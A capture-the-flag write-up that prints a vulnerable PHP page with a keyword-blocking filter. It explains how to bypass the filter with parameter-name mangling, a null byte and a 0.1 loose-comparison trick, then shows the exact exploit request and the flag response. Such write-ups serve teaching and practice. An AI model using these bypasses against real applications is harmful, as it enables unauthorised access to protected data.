In this challenge we were given the source of a vulnerable PHP page and were tasked with the exploitation.
Challenge Description
Our Solution
First, here is the source code:
<?php $dataset = [ 0 => ['Blaklis', 'The flag is INS{snip}.'], 1 => ['Lambda guy', 'We don\'t have anything interesting to say'], 2 => ['Lambda guy 2', 'We still do not say anything interesting'], 3 => ['Lambda guy 3', 'PHP is the best language ever!'] ]; $block = (function($request) { $blocked = FALSE; $keywords = ['_', 'admin=', '\'', '"', '[', ']', '\\', " ", chr(9),chr(10),chr(11),chr(12),chr(13),chr(133),chr(160),"%"]; foreach($keywords as $keyword) if(strpos(urldecode($request),$keyword) !== FALSE) $blocked = TRUE; return ($_SERVER['REMOTE_ADDR'] === '127.0.0.1') ? FALSE : $blocked; })($_SERVER['REQUEST_URI']); !$block?:die('Die by the WAF!'); if($_SERVER['REQUEST_METHOD'] === 'POST' && $_GET['is_admin'] == 1) { $data = str_replace(" ","",file_get_contents("php://input")); $datablock = (function($post_data) { $blocked = (strlen($post_data) > 30 || !($a = json_decode($post_data))); return $blocked; })($data); !$datablock?:die('Die by the WAF!'); $a = (array)json_decode($data); if(isset($a['userid']) && ($a['userid'] != 0 || $_SERVER['REMOTE_ADDR'] === '127.0.0.1')) { if(isset($dataset[$a['userid']])) { echo "It's name is ".$dataset[$a['userid']][0]." and he would like to say : ".$dataset[$a['userid']][1]; exit; } } } die('Die by... nothing?');
There were 3 things to take into account:
- The block() function on line 9-17 while maintaining is_admin=1 to fulfill condition on line 19
- The length limitation and the fact that the POST body must be valid JSON data (line 22)
- The fact that we want to access the element 0 of the $dataset array although the userid parameter cannot be equal to 0 (line 28)
To do that we must exploit several tricks of PHP. First is appears that PHP replaces some characters by _ when present in URL parameters. This could be used to bypass the underscore filter. We can bypass the “admin=” filter with a null byte. Then we have to play with PHP loose comparison to make it such that the userid is 0 and not 0 at the same time. This can be achieved by using 0.1 (floating point value). It will be evaluated as not zero when comparing but truncated to 0 when used as an integer array index.
The final request is as follows:
POST /?is.admin%00=1 HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:59.0) Gecko/20100101 Firefox/59.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.8,fr;q=0.5,de;q=0.3 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded X-Http-Forwarded-For: 127.0.0.1 Content-Length: 14 {"userid":0.1}
And the response containing the flag:
HTTP/1.1 200 OK Date: Fri, 23 Mar 2018 18:31:30 GMT Server: Apache/2.4.18 (Ubuntu) Vary: Accept-Encoding Content-Length: 81 Connection: close Content-Type: text/html; charset=UTF-8 It's name is Blaklis and he would like to say : The flag is INS{PHP_1s_4d0r4bl3}.
Leave a Reply